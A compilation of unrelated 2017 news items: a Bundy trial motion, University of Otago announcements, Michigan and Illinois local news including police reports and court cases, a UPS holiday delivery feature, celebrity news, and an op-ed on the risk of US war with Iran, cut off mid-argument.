If the defense isn't permitted to argue that they were somehow provoked by the militaristic stance of federal officers, the whistleblower's memo might not be considered relevant or allowed to be introduced at trial.

The government's motion also contends Ammon Bundy, accused of blocking a federal convoy during the cattle roundup, has changed his explanation as to why he did so in early April 2014.

Ammon Bundy testified on the witness stand in federal court in Oregon last year that he believed the dump truck during the impound convoy held cattle killed by federal officers. In the Nevada trial, Bundy said that he stepped in front of the truck because it was hauling water pipes that weren't part of the federal cattle impound order.

Regardless, the defendants shouldn't be allowed at trial to contend why they did an unlawful act or raise their beliefs that the Bundys have water rights on the public land.

"The defendants' intention to state that they believed they had a good reason for their conduct is not admissible evidence - it is jury nullification,'' Myhre's motion said.

His motion suggests the defendants submit their response by Jan. 1, which could delay any further testimony until next year, if the trial is allowed to proceed.

-- Maxine Bernstein

mbernstein@oregonian.com

503-221-8212

@maxoregonian
Tuesday 19 December 2017 10:33am



The 2018 Summer School programme has been released, and boasts 59 papers, 15 of which are new this season.

From the simply interesting, to the practical and essential, academic opportunities are available for all at the University of Otago in January.



Summer School and Continuing Education Director Dr Elaine Webster is excited to be able to offer three literary short courses in the Continuing Education Summer Series.



Creative writing teacher and author Dr Lynn Jenner will assist poetry, memoir or fiction writers experiment with literary essays.



Dr Elaine Webster, Director of Summer school and Continuing Education.

She says essays can be personal, theoretical, political, satirical, light-hearted, heavy with research, poetic, or a mix. They can be short like a prose poem or ten thousand words long.



Attracted by this open-ness and flexibility, many contemporary writers choose the essay form to explore a topic, think about some ideas, or put forward a view.



The Dear Sweet Harry and Lost and Gone Away author will, over a five day course, help students jump-start or extend their essay writing with practical support.



On offer again through the series is Letterpress Printing by Hand for Intermediate and Beginners.



The course is a rare opportunity to work with experts to explore the technique and its artistic properties.



Rounding out the series is Wordsmith Identity, presented by playwright, poet, fiction writer and artist, Caroline Lark.



The course explores identity through writing workshops across five genres: Poetry, fiction, drama, memoir, and autobiography.



Dr Webster encouraged those interested in the series to apply soon as places are limited and fill quickly.



Meanwhile, 15 new papers have been introduced to the Summer School, bringing the number on offer to 59, which have attracted about 1700 students.



Dr Webster says some of the most popular new papers include PHIL106 Radical Philosophy and MATS204 Treasure or Trash: Sustainability of Materials.



Radical Philosophy studies radical ideas about the human conditionabout freedom, authenticity, existentialism, nihilism, feminism, and modernityfrom the work of Nietzsche, Sartre, and others.



While Treasure or Trash examines the broad and complex challenges associated with sustainability of materials including national and international principles and an investigation of a product lifecycle in regards to material selection, use and the consumer.



Tried and true FORBS201 Forensic Biology and CHEM191 Chemical Basis of Biology and Human Health are once again attracting a large cohort of students.



Dr Webster says student numbers have started to climb, though they are somewhat lower than this time last year, and it is not too late to enrol.



"We look forward to welcoming students into the Summer School at an otherwise very quiet time of the year.



Course information:



Continuing Education Summer Series



Summer School

For more information, please contact:

Dr Elaine Webster

Director Summer School and Continuing Education

Phone: +64 3 479 5191

Email elaine.webster@otago.ac.nz
Tuesday 19 December 2017 4:14pm

The first Bronte manuscript identified in New Zealand has been restored to its place in literary history thanks to a University of Otago researcher.



The fragment of Branwell Brontes work was hiding in plain sight, misfiled as a letter, in the Heritage Collections of the Dunedin Public Library.



Coincidentally, the announcement of the previously unknown manuscript in Branwells hand occurred in the same year of the bicentenary of the writers birth. Branwell Bronte was born on 26 June 1817, and conferences and a special exhibition devoted to his life and work have been held in the United Kingdom this year.



Dr Thomas McLean, English and Linguistics, University of Otago.

The lesser-known brother of the famous novelists, Charlotte, Anne and Emily, Branwell is today remembered for his tragic death to alcoholism and for painting the only group portrait of his novelist sisters, but he was in fact the first Bronte sibling to see work in print.

Dr Thomas McLean, of the University of Otago Department of English and Linguistics, and Dr Grace Moore, of the University of Melbournes ARC Centre of Excellence for the History of Emotions, researched Branwells life and work so they could properly explain the significance of the manuscript.



Their findings have just appeared in the Oxford University Press journal Notes & Queries.



They discovered the Dunedin fragment provides the ending for a story written by Branwell in 1837.



The Bronte manuscript mistaken for a letter.

The pair pieced together Branwells microscopic handwriting, sometimes word-by-word, sometimes letter-by-letter, and were able to place the fragment at the end of a scene in an inn, identified as part IV (i) of Angria and the Angrians.



Dr McLean visited the Bronte Parsonage Museum in Haworth, UK, in August this year and examined Branwells writing journal from which the page was taken.



"I could see exactly where our page fit. The fragment provides the finishing touches to the story, he says.



They believe the piece may have become separated from the rest of the story because it is written on a slightly different sized piece of paper to the rest, as though it was an afterthought; it also bears a date eight weeks later than the chapter it concludes.



The rest of the story, which has already been published, survives at the Bronte Parsonage Museum in Haworth, Yorkshire.



It is one of a collection of stories about the imaginary land of Angria that Branwell and Charlotte wrote about in their youth.



The second portion of the manuscript.

"Branwell would write one story, and then Charlotte would write the next. It was a kind of practice ground for the siblings, and it surely helped Charlotte refine the storytelling skills that would come together so remarkably in Jane Eyre.



"When Jane Eyre was published in 1847, its readers were astonished that a first novel could be so good. But the truth is, Charlotte and her siblings had been writing for each other for almost two decades before Jane Eyre appeared.



"The Dunedin fragment is, quite literally, a page from that remarkable history, Dr McLean says.



The fragment is part of the Alfred and Isabel Reed Collection of rare books and manuscripts held in the Heritage Collections of the library, with records showing it was purchased in 1928.



The collection is the work of businessman and publisher Alfred H. Reed, who died in 1975, and includes work by Charles Dickens, Walt Whitman, Elizabeth Gaskell and Dante Gabriel Rosetti.



Dr McLean says the collection also includes a clipped signature of the Reverend Patrick Bronte, Branwells father, though its provenance is uncertain. The fathers signature took pride of place in one of Reeds ornately decorated autograph albums, while the sons manuscript languished in a folder, incorrectly catalogued as a letter.



The manuscript was displayed earlier this year in a University of Otago library exhibition, Keeping it in the Family, which examined famous British literary families.



It will remain at the Dunedin Public Library, though future publications of the story will need to include the Dunedin page.



"Its incomplete without it. Any scholar working on Bronte juvenilia or on Branwells writings will want to know about it.



The fragment is also an "encouragement for more research, Dr McLean says. "There are other missing pages in the Bronte archives. So who knows what else is out there?

Publication details:

Notes and Queries, Volume 64, Issue 4, 1 December 2017, Pages 607611, https://doi.org/10.1093/notesj/gjx159

For more information, please contact:



Dr Thomas McLean

Phone: +64 3 479 8635

Email: thomas.mclean@otago.ac.nz



Dr Grace Moore

Phone: +61 434 870 051

Email: gmoo@unimelb.edu.au
Tuesday 19 December 2017 4:16pm

The University of Otago is pleased to announce Belgian researcher Professor Marc Hendrickx will visit Otago from July to August 2018 as the inaugural Harraways 1867 Visiting Professorship recipient.

University of Otago Vice-Chancellor Professor Harlene Hayne says Professor Hendrickx has an excellent track record as a researcher and an academic, and has led a range of food science and technology projects in Europe.



Professor Marc Hendrickx.

Head of Department of Food Science Professor Indrawati Oey says the professorship visit will greatly advantage teaching and research by advancing current food science and technology knowledge, and improving Otagos capabilities when providing advice and service to government agencies and food industry partners.

Professor Hendrickx has extensive expertise in food processing technology, focusing on how food structure can be steered to influence and optimise nutrient bio-accessibility, and the digestion of plant-based foods.

His research excellence and leadership have shown significant social and economic impacts both in Europe and in developing countries, Professor Oey says.

The professorship will also strengthen the collaboration and exchange of ideas between the University of Otago and Katholieke Universiteit Leuven (KU Leuven) where Professor Hendrickx works, and broaden the Food Science departments current international networks.

The Department plans to organise public lectures in Dunedin and Auckland and invite Professor Hendrickx to present at next years annual New Zealand Institute of Food Science and Technology Conference in Hamilton. He will also deliver seminars on specialised topics, such as food processing and food structuring, both at the University and during visits to Harraway and Sons Ltd.

Otago students, staff and researchers will also benefit from attending workshops and symposia with Professor Hendrickx, and by networking with industry and research leaders during functions at the Dunedin campus, she says.



Professor Indrawati Oey.

Professor Hendrickxs visiting professorship is made possible by a $100,000 gift to the Department of Food Science from Harraway and Sons Ltd. The Dunedin-based company established the Harraways 1867 Visiting Professorship earlier this year as part of celebrations marking 150 years since it opened a steam-powered flourmill on the companys current Green Island site.

The company will fund a visiting scholar of outstanding distinction and international eminence for up to a month each year for the next five years.

Harraways Chief Executive Officer Stuart Hammer says that the gift marks a long association between the company and the University, and is a way of giving back to the University.

The Department of Food Science has been invaluable in helping us develop new products and allowing us to tap into that knowledge and scientific expertise. We have also been able to employ excellent graduates and each year we engage undergraduate food science students to carry out projects that have generated great new ideas, Mr Hammer says.

Professor Hendrickx is a faculty member at KU Leuven in Flanders, Belgium. The university was founded in 1425 and has been ranked 71st in the world in the QS World University Rankings in 2018.
Tuesday 19 December 2017 1:42pm

Tena koutou and welcome to this years third and final instalment of the Otago Connection newsletter.



Vice-Chancellor Professor Harlene Hayne

This year is quietly drawing to a close, and what a year it has been for Otago. I hope you have enjoyed the updates of Otago life with the Connection newsletter, and have appreciated the range of exciting events and stories at our university in 2017.

The line of students on campus waiting to receive their graduation caps and gowns was a wonderful sight to see earlier this month. It reminded me of what a huge milestone our students have achieved in finishing their degrees. I am always incredibly honoured to be a part of the celebrations of their hard work and dedication, and with 10 graduation ceremonies a year, its one of my favourite parts of being Vice-Chancellor.

I also enjoy sharing the sense of pride I get when I look back through the achievements of our students and our university. This newsletter contains some of the highlights of our collective success both here in New Zealand and overseas.

In September, Otago University and Otago Polytechnic students worked together to hold the Silverline Wellbeing Festival, a weekend-long health initiative teaching students positive mental health. The range of speakers and topics covered was vast and complex, and showed the high standard of student support and diversity we have here at Otago.

We were proud to hold the Teaching Excellence Awards and celebrate some of our best teaching staff in October. The feedback our staff receive from their students is always welcome, and we strive to bring students the best learning environment and experts in their fields.

We have shared some wonderful stories about our students in the last two newsletters, and this instalment of Connection is no different. Students from our residential colleges showed their willingness to volunteer for and engage with the Dunedin community this year, and it has been wonderful to see the initiatives coming from students. We also celebrated Jean Balchin becoming a 2017 Rhodes Scholar; her prestigious scholarship will provide funds for her to study English at Oxford University in the UK.

I hope you will take the time to watch our annual Christmas video. This year, we were lucky to have the very talented Mia Sohnge perform her own arrangement of The First Noel. Mia is a first year student studying accounting and music and we are sure that her beautiful voice will see her performing for many others in the future.

Of course, 2018 is going to be another exciting, busy year, and we are pleased to welcome Dr Royden Somerville QC to the role of Chancellor of the University of Otago. We are extremely fortunate to have someone of his calibre in the role. We are sad to bid farewell to current Chancellor, John Ward, who has served this University so well for so many years.

I look forward to sharing more stories and highlights of Otago life with you next year.

I would like to thank all of our students and family community for your continued support of the University of Otago. I wish you a safe and happy Christmas and positive start to the New Year wherever you are in the world.

Professor Harlene Hayne

Vice-Chancellor
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Midland residents who enjoy evening excursions and looking at Christmas lights can add another destination to their list: the Wyatt home at 2789 N. Cedaridge Drive. As the daylight fades, Tim and Lori Wyatt's house twinkles with thousands of bulbs synchronized to a selection of holiday tunes.

"It's just for fun," Tim said with a smile. "Everybody has their own nerdy thing. Mine happens to be Christmas lights and fireworks."

The Wyatts began decorating their house five years ago when they were living in Denver, Colorado, starting out with just lights. Eventually, Tim incorporated a small, simple sound system to add to the festivities.

"I just decorated the house with lights and then every year it kinda grew."

According to Tim, it took about 40 man-hours to prepare this year's display with the help of his brother and nephew. His original goal was to have the lights up by Thanksgiving in order to turn them on the day after; he ended up beginning the show Dec. 2, just before the bad weather hit.

"I saw snow in the forecast so I spent a couple of late nights up there getting it done," he said. "I figured once the snow hits the roof, there's no chance of me getting up there to get it done."

Tim estimates there are 3,000 lights on the roof, including some wrapped around the front porch and a few in the bushes. Each section is timed to a selection of music, 16 songs to be exact, which is broadcast over a vacant radio station, 88.7 FM. While the show is about an hour in length, most people stay about 10-20 minutes.

"That was one of the things that kinda made the show a little better because people can pull up and sit in their warm cars and watch the show as long as they want," Tim said.

"It's fun to see who comes by," Lori said.

In Denver, the Wyatts lived on a cul-de-sac and saw a variety of visitors, from buses carpooling the elderly to families in vans -- even a limo made an appearance. When they moved to Midland in May, Tim and Lori weren't sure about the amount of traffic they would get this winter. Every night they've averaged 10 to 12 vehicles, and the circulation started to pick up the second weekend in December.

But with a festive light show comes the possibility of disturbing the neighbors. To be courteous, the Wyatts shut down the display around 9 p.m. A week after they began the show, one of their neighbors stopped by to comment on the lights.

"She came over on Saturday during the day and I was out shoveling," Tim said. "She came over and introduced herself because I hadn't met her yet. ... They travel a lot. She said 'Why do you turn your lights off so early? We love your lights.'"

To make the show even more special, Tim and Lori began a tradition two years ago of handing out hot chocolate and candy canes to spectators on the weekends. In addition to the motorists' delight, Tim explained that the display helped his family meet more neighbors. The Wyatts are considering continuing providing refreshments as Christmas draws near.

"Usually there's a lot of people that come on Christmas Eve and we like to pass out candy canes on that night," Lori said.

The lights will stay on until the week between Christmas and New Year's Eve. Tim and Lori will decide when the last show will be based on the amount of traffic that comes by, and will take down the lights shortly afterward. But Tim hopes to continue the tradition next year, thus "building a sense of community with neighbors."

"In our own little way, it helps us to share the Christmas spirit with people around us," he said.
STEM stands for Science, Technology, Engineering and Math. But, math was the major issue during Lori Flippin's recent address to the Midland County Board of Commissioners.

"We are trying to make a difference with math because that is a great barrier to access into STEM careers, said Flippin, Great Lakes Bay Regional Alliance (GLBRA) STEM initiative leader.

The GLBRA STEM Initiative serves eight counties--Midland, Bay, Arenac, Saginaw, Clare, Gladwin, Gratiot and Isabella.

The initiative ties in with the MiSTEM Council, which proposes to "make Michigan a world leader in STEM education," states the council's website.

MiSTEM names four pillars as necessary components to produce STEM-equipped students and educators -- create a STEM culture, empower STEM teachers, integrate business and education and ensure high quality STEM experiences.

The STEM Impact Initiative in the GLBRA began in 2014, funded by various regional entities.

"The study pointed out a lot of ideas we had to focus on to make a difference for the talent pipeline in our region," Flippin said.

However, four characteristics defined the local STEM initiative:

 Driven by employer demand

 Powered by career and college ready students

 Focused on strengthening technical skills

 Sustained by a culture of STEM

As a result, the five Intermediate School Districts (ISDs) in the eight county regions have collaborated to familiarize parents and children to early math instruction, beginning at age 3 for the children.

In preparation for kindergarten, books are mailed home to preschoolers to aid in the areas of literacy and math. Included is a math app that can be downloaded so parents might assist their children.

Funded by the Dow Corning Foundation, children that are at 250 percent of the poverty level and below, receive their books free.

"Last year we had 852 families participate in getting the six kits free," Flippin said. "(The initiative) also helps parents realize that they can help their children with learning."

The next major challenge comes when students reach middle school when the progress drops dramatically.

To help combat this drop-off, GLBRA has implemented six pilot programs in the eight counties. Two were geared toward the professional development of teachers.

"These are meant to create specialists in the region that could go back to their district and exchange instruction with their peers," Flippin said.

The other four are student math programs, attempting to try and raise the bar for student performance.

For more information on the GLBRA and the STEM Impact Initiative, call 989-695-6100 or visit its website at: greatlakesbay.com
The following list includes recent reports from the Midland County Sheriff's Office and the Midland Police Department. Compiled by reporter Kelly Dame.

Monday, Dec. 18

12:47 a.m. -- A motorist was arrested at Isabella and Smith streets for drunken driving.

Sunday, Dec. 17

12:48 a.m. -- Police were dispatched to a loud party in the 6000 block of Jefferson Avenue.

9:19 a.m. -- A $65 garbage can was stolen from an Ingersoll Township home.

12:39 p.m. -- Gasoline was stolen from a Greendale Township gas station.

10:35 p.m. -- A deputy was called to a Hope Township home for a report of disorderly boy, age 14.

Saturday, Dec. 16

2:05 a.m. -- Deputies were sent to a Lincoln Township home to investigate a domestic assault. A 55-year-old woman was arrested on a Gladwin County warrant, and a report on the assault is being sent to the prosecutor's office.

6:06 a.m. -- Police made arrests for domestic assault and assault by strangulation at a Russell Street address.

11:55 a.m. -- A Midland woman, 74, reported a vehicle sustained $100 damage in the City of Midland.

11:55 a.m. -- Officers responded to a report of domestic violence at a North Saginaw Road address.

4:33 p.m. -- A deputy investigated a domestic assault in Midland Township. A report is being sent to the prosecutor's office for review.

5:45 p.m. -- Deputies were sent to a report of trespassing in Ingersoll Township.

Friday, Dec. 15

4:13 a.m. -- A Larkin Township man, 22, was arrested in that township for drunken driving after a traffic crash.

11:31 a.m. -- Police investigated a hit and run traffic crash in the 2300 block of Isabella Street.

12:03 p.m. -- Deputies assisted probation agents by checking a Porter Township home for a 17-year-old woman who is wanted on a fugitive warrant. The woman was not found.

2:48 p.m. -- A deputy secured a dead bat for animal control. The bat was captured in a home in the City of Midland. The animal will be sent for testing, and it is not believed to have bitten or scratched anyone.

3:23 p.m. -- An Edenville Township woman, 54, reported someone in Israel charged $1,254 to her Paypal account, and the money ultimately was taken out of her credit union account.

3:53 p.m. -- A report of a personal protection order violation was forwarded to the Coleman Police.

4:27 p.m. -- A motorist was cited for driving without insurance after a crash at U.S. 10 and Sturgeon Road.

5:06 p.m. -- An Edenville Township man, 30, was arrested on a Gladwin County fugitive warrant at an Edenville Township home. He was turned over to Gladwin County deputies without any problems.

7:35 p.m. -- Gasoline, valued at $30, was stolen from a Greendale Township gas station.

8 p.m. -- Officers made an arrest for second-degree retail fraud in the 900 block of Joe Mann Boulevard.

8:41 p.m. -- Police were sent to a case of retail fraud in the 900 block of Joe Mann Boulevard.

10:27 p.m. -- A Warren Township man, 30, was arrested in Larkin Township for drunken driving.
A 35-year-old Midlander is in hot water in connection with the discovery of narcotics inside the county jail, and a hearing has been set for January.

Cory Allen Aldridge is charged with multiple felonies in two different cases -- prisoner in possession of contraband, possession of controlled substance analogues and jail prisoner in possession of contraband in one case, and larceny from a person and two counts of stealing or retaining a financial transaction device without consent in the other. Aldridge also faces a second habitual offender notice in each case.

The Midland County Prosecutor's Office filed the contraband charges after the Oct. 30 discovery of Dilaudid pills inside the Midland County Jail. Dilaudid is a narcotic used to treat pain.

An affidavit filed in the case states 20 pills were discovered stored in the suspect's rectum after jail staff received a tip and questioned him.

The suspect had been in the jail for two days at the time of the discovery. The original arrest was in connection with the theft of a purse from a cart in the parking lot of a Joe Mann Boulevard store. The purse contained debit cards, identification and more, and was recovered by Midland Police, an affidavit in that case states.

Aldridge was arraigned on the theft charges on Oct. 30, and the contraband case on Nov. 2. Midland County District Court Judge Michael D. Carpenter set bond at $25,000, 10 percent, for each case and granted a court appointed attorney to represent Aldridge.

The cases are scheduled for a Cobbs hearing before Circuit Court Judge Stephen P. Carras on Jan. 25.

During a Cobbs hearing, which is not open to the public, the judge uses the information at hand to inform the defendant of the likely sentence in a case, and the defendant can then use that information in deciding whether to enter a plea. The defendant can withdraw the plea if the judge does not deliver the expected sentence.

Aldridge is being represented by attorney Dan Duke of Midland.
Technology has made it easier than ever to buy gifts online and track the spoils of your spending spree as they make their way from retailers' warehouses to your doorstep in time for the holidays.

But for all the talk of packages being delivered by drones, this year's record-setting online sales still depend on humans to handle the last leg of the journey  people like Dave Knudsen, who will spend the final days of the year battling traffic and unpredictable Chicago weather, speed-walking up and down driveways and across lawns while lugging packages light and heavy.

A United Parcel Service driver for more than three decades, Knudsen, 54, of suburban St. Charles, will carry thousands of the nearly 2 billion packages shipping companies expect to deliver this holiday season.

Want a front row seat to see online holiday shopping's thriving role in the economy? Spend just an hour in the fold-down seat next to a driver, as I did recently while Knudsen steered his boxy brown truck around suburban Geneva, a route he's had for the past 28 years.

Some forecasts have estimated online holiday sales will top $100 billion this year, and UPS, FedEx and Amazon alone were expected to hire more than 250,000 seasonal workers to help cope with the deluge of packages.

UPS expects to have delivered 750 million packages worldwide between Thanksgiving and New Year's Eve. FedEx is anticipating 380 million to 400 million, while the U.S. Postal Service said it will be busier still, delivering nearly 850 million.

Package carriers like UPS say they're expecting a record number of package deliveries this holiday season.

For drivers like Knudsen, that can mean routes with more than twice the typical number of stops. His average day includes about 140. But between Thanksgiving and New Year's Eve, "average" jumps to 300, with a couple of days topping 400.

On his busiest day during the week after Thanksgiving, he delivered 650 packages, according to the small black notebook where he records each day's total. If trends from previous years hold, the week before Christmas will be even busier.

Knudsen has worked for UPS for 37 years, 32 as a full-time driver. He was too nice to say so, but there's no question a visitor on his truck slowed him down.

That's because there is room for only two people in the truck, and I claimed the seat normally taken by his son David Knudsen, 22, one of UPS' 95,000 seasonal hires. David Knudsen works as a driver helper while on break from college, and runs packages to doors, sorts boxes in the back and generally speeds things along.

Knudsen's day starts at 8:45 a.m. at UPS's Addison distribution center, though he often shows up early to check out his route and see how the truck is loaded.

Dozens of packages are lined up along two shelves that run the length of both sides of the truck, organized with boxes for the earliest stops closest to Knudsen's seat and the last stops in the back.

Deliveries to businesses are usually handled in the morning and residential drop-offs in the afternoon. At each stop, he uses a handheld device to scan each package, recording when and where it was left. The device also lays out each stop on the day's itinerary.

Routes are designed to be as efficient as possible, Knudsen said, but there is some flexibility if he knows a customer needs an early arrival.

The subdivision we drove around has lots of young parents, who order items online year-round, Knudsen said. "It's so convenient, why wouldn't you?" he said. That afternoon, the truck held plenty of boxes from Wal-Mart and Amazon.

The neighborhood has some delivery driver-friendly perks, like homes with overhanging porches and bushes  the kinds of places drivers look for to shield packages from the elements. At others, he slipped lightweight boxes under a welcome mat or behind a hinged glass door.

Still, there are some hazards. He stumbled on a strand of Christmas lights while crossing a yard decked out for the holidays, and he warned me about one home's painted concrete walkway, a surface he says is deceptively slick.

Most drivers carry treats to befriend dogs on their routes, Knudsen said. He's partial to keeping a supply of vanilla wafers  they're cheap and the dogs seem to like them, he said.

Knudsen credits good genes for his ability to keep up, along with the daily routine.

"This time of year, you go to bed early, and you do what you need to do to not get sick," Knudsen said.

The work itself doesn't change much during the hectic holiday weeks, although his route gets condensed. Knudsen covers a little less territory, but spends more time hopping on and off the truck through the passenger-side door, left open for easier exits.
BLOOMINGTON  Another wind farm is coming to McLean County.

After nearly two years studying the area and securing easements from local landowners, Chicago alternative energy company Invenergy has submitted paperwork for a county permit that would allow construction of a new McLean County Wind Energy Center to start in the next two years.

Invenergy plans to construct about 100 turbines and related infrastructure across more than 100 parcels in Chenoa, Gridley, Lawndale, Lexington and Money Creek townships, according to county records.

"The project will power approximately 69,000 homes (with a 250-megawatt capacity)," according to a permit application. "The project will likely commence construction in 2018 or 2019 with the goal of being operational in 2019 or 2020."

The project could create 35 long-term jobs and at least $2.3 million in new annual taxes in the county, according to a study by David Loomis, an Illinois State University economics professor who directs its renewable energy center.

Invenergy officials could not be reached for comment on Tuesday. Officials have not said how much the farm will cost to build.

The affected area starts south of Chenoa, west of town, and runs southeast around Lexington toward Colfax. It totals about 13,000 acres.

"The project location was selected due to the areas strong wind resource, land use, and proximity to existing transmission infrastructure," according to the permit application.

The permit would allow "wind turbine generators that are up to 500 feet in height, as well as any access roads, transformers, power lines, communication lines, interconnection lines, substation, construction lay-down yards and other ancillary facilities or structures," states a county notice.

"The application also requests that the time period to apply for building permits for the (farm) be extended to three years, rather than two years as provided by the McLean County Zoning Ordinance," according to the notice.

The permit will be the subject of a public hearing at the county's next zoning board of appeals meeting, 7 p.m. Jan. 2 in room 2400 at Heartland Community College's Astroth Community Education Center in Normal.

Another company, EDP Renewables, has been competing to build a wind farm in the same area. Officials with that firm did not respond to requests for comment.
BLOOMINGTON  A 21-year-old Shirley man was sentenced to eight years in prison Monday on child pornography charges.

Austin Graf admitted to accusations in two of nine charges related to more than 800 images of child pornography found on his cellphone during an Illinois State Police investigation into sexual assault allegations involving a minor girl in DeWitt County.

The images of the two minors identified by their initials in a plea agreement were hidden on a calculator app on Graf's phone, according to Assistant State's Attorney Jacob Harlow.

Graf was sentenced to four years on each count of possession of child pornography. He will receive credit for 266 days in jail and is eligible for day-for-day credit for good behavior on his prison term.

According to Harlow's statement provided to Judge Scott Drazewski, Graf was acquainted with the minors identified in charges. Graf asked the girls to provide the inappropriate photos and later threatened them if they did not continue sending images, said Harlow.

The defendant must register for life as a sex offender.

In November, Graf pleaded guilty in DeWitt County to criminal sexual abuse of a minor girl. Charges of sexual assault were dismissed in the plea agreement that included 300 days in jail. The sentence has been satisfied by credit for time served in jail.
BLOOMINGTON  Bloomington City Council members will continue to research a proposed welcoming-city ordinance but will wait for more input from the citys police chief, legal counsel and neighbors such as Normal and McLean County before making a decision.

The ordinance was the lone topic of discussion during a special session before the regular council meeting Monday at the Bloomington Center for the Performing Arts. It drew an estimated 350 people, many of whom offered differing opinions on the legislation that would declare the city a welcoming and safe place for immigrants, regardless of their legal status.

People are coming out and speaking up in support of this ordinance, said Bloomington resident Louis Goseland. I know there is some question as to what is the best way to do this, but we as a community do not want deportations to be happening with our resources.

"We want everyone to feel like they can work with the police and access any type of service they need in a time of crisis without fear that they will then be transferred to ICE.

Some immigrants may hesitate to report crimes such as sexual assaults out of fear of attracting ICE's attention, said Gabe Cripe, community outreach director at the McLean County YWCA.

Many times, crimes are committed against women who are vulnerable and we want to be able to tell our clients that regardless of their immigration status, they can come forward and report criminal activity, he said.

Several residents opposed the legislation.

I like to go eat and shopping in the downtown or at the Coliseum, said Bloomington resident Peggy Wade. But this issue has pushed me over the edge.

"Bloomington is fine and friendly and welcoming now. We dont need this ordinance, and if it is passed, I will see that my money doesnt stay in Bloomington.

Illegal aliens are to be deported, said city resident Joe Walden. You have to figure out who is going to run this town, and you have to let the police do their jobs. Someone will run this town. Will it be the police or illegal immigrants?

Bloomington Police Chief Brendan Heffner told the council he embraced the idea of Bloomington being a welcoming city, but he couldnt support the language in the proposed legislation that would prohibit his department's investigators from working with federal agencies.

This poses a risk and we will uphold the law and assist victims regardless of where they are from or their immigration status, he said. Sometimes, we have to contact federal agencies in a case and the proposed language impedes us from doing so.

Heffner said his research going back to 2002 shows no evidence the department has generated any reports to deport any Bloomington residents.

We look at citizens as citizens, he said. Our job is to treat people fairly.

Because of the holiday season, the council is not expected to meet for a voting session until January. Council members asked Heffner to work with city attorney Jeff Jurgens during that hiatus to remove any language he opposes from the currently proposed ordinance.

I would like to see it come for a vote, said Ward 7 Alderman Scott Black. But I dont want to be responsible for tearing families apart. I would also like to know what the town of Normal and McLean County are also doing with this topic and call on them to take some action.

Neither the town nor the county has taken a vote on welcoming-city legislation as of yet.

Council members also will explore providing more information to the community about the Illinois Trust Act, which was passed into law this fall. It prevents state law enforcement agencies from assisting in immigration actions unless a warrant has been issued, and it offers protections from immigration enforcement at some safe havens such as schools.
Cardi B is a rapper from the Bronx, but she's also Dominican, occasionally raps in Spanish and brilliantly releasing a Latin-trap remix of her mega hit "Bodak Yellow." Now the queen of the charts has delivered the visuals for her bilingual, Rvssian-produced collaboration with Puerto Rican artist Ozuna, "La Modelo."

Related | Interview: Cardi B Is Still Real



In the trippy video, we see Cardi singing in Spanish and English and trading bars with Ozuna while the two party and dance at a sprawling ocean-side estate in Jamaica. It's fun enough to make you want to book that mid-winter tropical vacation, stat.

See it all go down, below:

Photo via YouTube


No one is safe from Rose McGowan's rightful wrath in the reckoning of Hollywood's sexual predators, not even Oscar-winning actress and industry legend Meryl Streep.

Related | Minnie Driver Blasts Ex-boyfriend Matt Damon Over Sexual Assault Comments

McGowan's attack began after Streep discussed Weinstein in a recent interview, calling his rampant sexual abuse of actresses over three decades a "gargantuan example of disrespect." Rose came in hot, responding, "No, Meryl, it's a FUCKING CRIME."

Now, after rumors that Streep, along with Emma Stone and Jessica Chastain would don black for the award's season in solidarity with survivors, McGowan was just about done.

In a series of now-deleted tweets, the #ROSEARMY leader labeled Streep a "hypocrite" for lack of previous action, suggesting perhaps all the actresses should "wear Marchesa," the brand of Weinstein's ex-wife Georgina Chapman, which the movie mogul famously pushed on actresses up for awards to raise its profile.

"Actresses, like Meryl Streep, who happily worked for The Pig Monster, are wearing black @GoldenGlobes in a silent protest," she wrote. "YOUR SILENCE is THE problem. You'll accept a fake award breathlessly and affect (sic) no real change. I despise your hypocrisy."

Related | Harvey Weinstein Responds to Salma Hayek's Claims of Harassment

Fellow actress and friend of McGowan, Amber Tamlyn, hit out at the activist for her comments. "Rose McGowan is a friend and while I support her kind of movement, I do not support any woman (or man) shaming or taunting the movements of other women. And telling us all to wear Marchesa? This is beneath you, Rose."

Seems as though there will be blood on this year's round of red carpets.

Image via BFA


Why The Risk Of War Is Higher With Iran Than North Korea

12/18/17

By Shireen T. Hunter (source: LobeLog)

There is a fear that the United States might become embroiled in war in 2018 with Iran, North Korea, or possibly both.

In view of the inflammatory rhetoric directed by the United States and North Korea toward one another over the past several months, it would appear at first glance that the risk of war with North Korea is higher. The risk appears still higher because North Korea poses a considerable security risk to America's allies in the Pacific region, especially Japan and South Korea.

However, barring some new and unexpected developments in the Korean Peninsula, the likelihood of a full-scale war between the U.S. and North Korea is less than the chance of a U.S. military intervention against Iran.

There are several reasons why this is so. First, American regional allies, notably South Korea and Japan, are more vulnerable to North Korean attacks. In particular, South Korea could suffer unbearable human and material damage in case of war. Therefore, most likely it would try to dissuade America from going to war and instead seek a negotiated settlement to the dispute. Second, the United States must consider the risk that countries like China might become involved in the conflict. Third, the U.S. must calculate the risk of possible use of a nuclear device against American territory by North Korea. In other words, North Korea's much inferior nuclear capability nevertheless exerts a deterrent effect on American policy.

But, perhaps most importantly, there is no domestic pressure in the United States for America to rush to war against North Korea.

The situation vis-a-vis Iran is quite different. Despite talk of Iran's military power, especially its ballistic missiles, the fact is that Iran is militarily weak. In particular, Iran lacks an adequate air force and air defense system. A week-long American bombing campaign would inflict considerable damage on Iran's military and economic infrastructure.

More to the point Iran, unlike North Korea, does not have a direct retaliatory power against America. Iran's missiles and its much talked about speed boats are no much for American power at sea or in the air. And under the Joint Comprehensive program of Action (JCPOA), Iran has forgone the option of developing a nuclear device. A rudimentary nuclear device might have increased Iran's vulnerability to a preemptive U.S. attack. But it might also have given American decision-makers pause.

What makes Iran's situation different-and the risk of war higher-is the existence of both a regional and a domestic U.S. lobby in favor of an American attack on Iran.

Domestically, American hawks as well as the ardent supporters of Israel and its prime minister, Benjamin Netanyahu, have long advocated an American attack on Iran. Many had expected that after Iraq, Tehran would be the next target. Some were disappointed that Iran was not attacked first.

For this group, a change in Iran's behavior or even a regime change is not sufficient. They want to see Iran's capability to be a military and economic power in the region destroyed. With Iraq and Syria already out of the way, and with Egypt having become toothless, Iran is the only remaining Middle Eastern power that must be brought to its knees. It is the rebellious satrapy that should be tamed. As long as it has the rudiments of power, it cannot be trusted to behave.

Disposing of Iran at a time when Arab leaders appear to be willing to forgo the Palestinian cause altogether would hasten the settlement of the Arab-Israeli dispute, or so they think, because Iran is the only state willing to sacrifice its own national interests for the cause of liberating Palestine. At least, Iranian hardliners' rhetoric seem to indicate such willingness.

